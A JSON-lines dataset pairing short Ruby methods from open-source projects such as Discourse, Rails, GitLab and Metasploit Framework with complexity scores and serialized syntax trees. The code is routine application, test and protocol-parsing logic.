{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/publisher.rb","start_line":177,"raw_source":"def self.publish_bulk_delete!(chat_channel, deleted_message_ids)\n      channel_permissions = permissions(chat_channel)\n      Chat::Thread\n        .grouped_messages(message_ids: deleted_message_ids)\n        .each do |group|\n          MessageBus.publish(\n            thread_message_bus_channel(chat_channel.id, group.thread_id),\n            {\n              type: :bulk_delete,\n              deleted_ids: group.thread_message_ids,\n              deleted_at: Time.zone.now,\n            },\n            channel_permissions,\n          )\n\n          # Don't need to publish to the main channel if the messages deleted\n          # were a part of the thread (except the original message ID, since\n          # that shows in the main channel).\n          deleted_message_ids =\n            deleted_message_ids - (group.thread_message_ids - [group.original_message_id])\n        end\n\n      return if deleted_message_ids.empty?\n\n      publish_to_channel!(\n        chat_channel,\n        { type: :bulk_delete, deleted_ids: deleted_message_ids, deleted_at: Time.zone.now },\n      )\n    end","complexity_score":28.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_bulk_delete!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_channel\"]},{\"type\":\"arg\",\"children\":[\"deleted_message_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_permissions\",{\"type\":\"send\",\"children\":[null,\"permissions\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Thread\"]},\"grouped_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_ids\"]},{\"type\":\"lvar\",\"children\":[\"deleted_message_ids\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"send\",\"children\":[null,\"thread_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"thread_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"bulk_delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"thread_message_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},{\"type\":\"lvar\",\"children\":[\"channel_permissions\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_message_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_message_ids\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"thread_message_ids\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"original_message_id\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_message_ids\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"publish_to_channel!\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"bulk_delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_ids\"]},{\"type\":\"lvar\",\"children\":[\"deleted_message_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}]}","id":"32accd45-d2d4-46c8-9628-9a9603c730bd"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/jobs/sla/process_account_applied_slas_job.rb","start_line":4,"raw_source":"def perform(account)\n    account.applied_slas.where(sla_status: %w[active active_with_misses]).each do |applied_sla|\n      Sla::ProcessAppliedSlaJob.perform_later(applied_sla)\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"applied_slas\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sla_status\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"str\",\"children\":[\"active_with_misses\"]}]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"applied_sla\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sla\"]},\"ProcessAppliedSlaJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"applied_sla\"]}]}]}]}","id":"18c990d5-eb0b-496b-82f0-45f6b4e3df8b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/principals/replace_references_service.rb","start_line":54,"raw_source":"def call(from:, to:)\n      rewrite_active_models(from, to)\n      rewrite_custom_value(from, to)\n      rewrite_default_journals(from, to)\n      rewrite_customizable_journals(from, to)\n\n      ServiceResult.success\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rewrite_active_models\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_custom_value\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_default_journals\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[null,\"rewrite_customizable_journals\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\"]}]}]}","id":"1080a19e-5e8a-406b-ad44-326f943818d5"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/microsoft_dynamics/client.rb","start_line":133,"raw_source":"def build_url(stream)\n        @destination_url = format(MS_DYNAMICS_REST_API, instance_url: @instance_url, api_version: API_VERSION, entity: stream.name)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@destination_url\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MS_DYNAMICS_REST_API\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_url\"]},{\"type\":\"ivar\",\"children\":[\"@instance_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_version\"]},{\"type\":\"const\",\"children\":[null,\"API_VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"name\"]}]}]}]}]}]}","id":"1a63f829-f417-49ce-9e4f-9451b4758640"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/schedule.rb","start_line":7,"raw_source":"def remove_associated_schedules\n    _log.info(\"Removing any schedules associated with report: #{id}\")\n    report_schedules = MiqSchedule.where(:resource_type => self.class.name)\n    report_schedules.each do |sch|\n      ids = sch.target_ids\n      _log.info(\"Schedule id: #{sch.id}, targets: #{ids.inspect}\")\n      if ids == [id]\n        _log.info(\"Removing Schedule id: #{sch.id}\")\n        sch.destroy\n      end\n    end\n  end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_associated_schedules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing any schedules associated with report: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"report_schedules\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqSchedule\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_schedules\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sch\"]},\"target_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Schedule id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sch\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", targets: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"inspect\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing Schedule id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sch\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sch\"]},\"destroy\"]}]},null]}]}]}]}]}","id":"1d1743de-5e42-425d-a9b6-f3de7eee2b24"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_before_block_braces.rb","start_line":110,"raw_source":"def check_non_empty(left_brace, space_plus_brace, used_style)\n          case used_style\n          when style  then correct_style_detected\n          when :space then space_detected(left_brace, space_plus_brace)\n          else             space_missing(left_brace)\n          end\n        end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_non_empty\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_brace\"]},{\"type\":\"arg\",\"children\":[\"space_plus_brace\"]},{\"type\":\"arg\",\"children\":[\"used_style\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"used_style\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},{\"type\":\"send\",\"children\":[null,\"correct_style_detected\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"space\"]},{\"type\":\"send\",\"children\":[null,\"space_detected\",{\"type\":\"lvar\",\"children\":[\"left_brace\"]},{\"type\":\"lvar\",\"children\":[\"space_plus_brace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"space_missing\",{\"type\":\"lvar\",\"children\":[\"left_brace\"]}]}]}]}","id":"ada66712-9106-419f-89c4-25c7cc868749"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/report.rb","start_line":506,"raw_source":"def hex_to_rgbs(hex_color)\n    hex_color = hex_color.gsub(\"#\", \"\")\n    rgbs = hex_color.scan(/../)\n    rgbs.map! { |color| color.hex }.map! { |rgb| rgb.to_i }\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"hex_to_rgbs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex_color\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex_color\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_color\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rgbs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_color\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rgbs\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]},\"hex\"]}]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rgb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rgb\"]},\"to_i\"]}]}]}]}","id":"e73bfbe4-40cb-4549-821a-3761a7e78ce2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/du/du_stubbing.rb","start_line":37,"raw_source":"def du_uploadtrailer_preview_correct_jpg\n  mock_jpg = double\n  allow(mock_jpg).to receive(:file_name).and_return('ftl_FAKEMD5_trailer-en-US_preview.jpg')\n  allow(mock_jpg).to receive(:file_size).and_return(12_345)\n  allow(mock_jpg).to receive(:content_type).and_return('image/jpg')\n  allow(mock_jpg).to receive(:bytes).and_return(\"trailer preview...\")\n  mock_jpg\nend","complexity_score":21.55,"ast_json":"{\"type\":\"def\",\"children\":[\"du_uploadtrailer_preview_correct_jpg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mock_jpg\",{\"type\":\"send\",\"children\":[null,\"double\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"mock_jpg\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"ftl_FAKEMD5_trailer-en-US_preview.jpg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"mock_jpg\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"file_size\"]}]},\"and_return\",{\"type\":\"int\",\"children\":[12345]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"mock_jpg\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"image/jpg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"mock_jpg\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"bytes\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"trailer preview...\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mock_jpg\"]}]}]}","id":"79ce3fd6-3b5a-4f4b-bca5-a77d3e8c86ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":1021,"raw_source":"def test_concurrent_counter_cache_double_destroy\n    topic = Topic.create title: \"Zoom-zoom-zoom\"\n\n    5.times do\n      topic.replies.create(title: \"re: zoom\", content: \"speedy quick!\")\n    end\n\n    assert_equal 5, topic.reload[:replies_count]\n    assert_equal 5, topic.replies.size\n\n    reply = topic.replies.first\n    reply_clone = Reply.find(reply.id)\n\n    reply.destroy\n    assert_equal 4, topic.reload[:replies_count]\n\n    reply_clone.destroy\n    assert_equal 4, topic.reload[:replies_count]\n    assert_equal 4, topic.replies.size\n  end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_concurrent_counter_cache_double_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Zoom-zoom-zoom\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"re: zoom\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"speedy quick!\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"replies_count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reply_clone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"replies_count\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_clone\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"replies_count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"size\"]}]}]}]}","id":"bbde67d1-5cdb-4558-83c8-3aa50e4348ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/search_helper.rb","start_line":214,"raw_source":"def header_search_context\n    {}.tap do |hash|\n      if search_has_group?\n        hash[:group] = { id: search_group.id, name: search_group.name, full_name: search_group.full_name }\n        hash[:group_metadata] = {\n          issues_path: issues_group_path(search_group),\n          mr_path: merge_requests_group_path(search_group, assignee_username: current_user&.username)\n        }\n      end\n\n      if search_has_project?\n        hash[:project] = { id: @project.id, name: @project.name }\n        hash[:project_metadata] = {}\n\n        if @project.feature_available?(:merge_requests, current_user)\n          mr_path = project_merge_requests_path(@project, assignee_username: current_user&.username)\n          hash[:project_metadata][:mr_path] = mr_path\n        end\n\n        if @project.feature_available?(:issues, current_user)\n          hash[:project_metadata][:issues_path] =\n            project_issues_path(@project)\n        end\n\n        hash[:code_search] = search_scope.nil?\n        hash[:ref] = @ref if @ref && can?(current_user, :read_code, @project)\n      end\n\n      hash[:scope] = search_scope if search_has_project? || search_has_group?\n      hash[:for_snippets] = @snippet.present? || @snippets&.any?\n    end\n  end","complexity_score":81.8,"ast_json":"{\"type\":\"def\",\"children\":[\"header_search_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_has_group?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_group\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_group\"]},\"full_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issues_path\"]},{\"type\":\"send\",\"children\":[null,\"issues_group_path\",{\"type\":\"send\",\"children\":[null,\"search_group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mr_path\"]},{\"type\":\"send\",\"children\":[null,\"merge_requests_group_path\",{\"type\":\"send\",\"children\":[null,\"search_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee_username\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]}]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_has_project?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"project_metadata\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"feature_available?\",{\"type\":\"sym\",\"children\":[\"merge_requests\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mr_path\",{\"type\":\"send\",\"children\":[null,\"project_merge_requests_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee_username\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mr_path\"]},{\"type\":\"lvar\",\"children\":[\"mr_path\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"feature_available?\",{\"type\":\"sym\",\"children\":[\"issues\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"issues_path\"]},{\"type\":\"send\",\"children\":[null,\"project_issues_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"code_search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_scope\"]},\"nil?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ref\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_has_project?\"]},{\"type\":\"send\",\"children\":[null,\"search_has_group?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"search_scope\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"for_snippets\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@snippet\"]},\"present?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@snippets\"]},\"any?\"]}]}]}]}]}]}","id":"75534af9-22c0-4379-ad06-95203bc20044"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/kerb_superseded_by_user.rb","start_line":70,"raw_source":"def decode_realm(input)\n            input.value[0].value\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_realm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}","id":"0fea3423-6fa5-4640-8784-aac89bfcd592"}
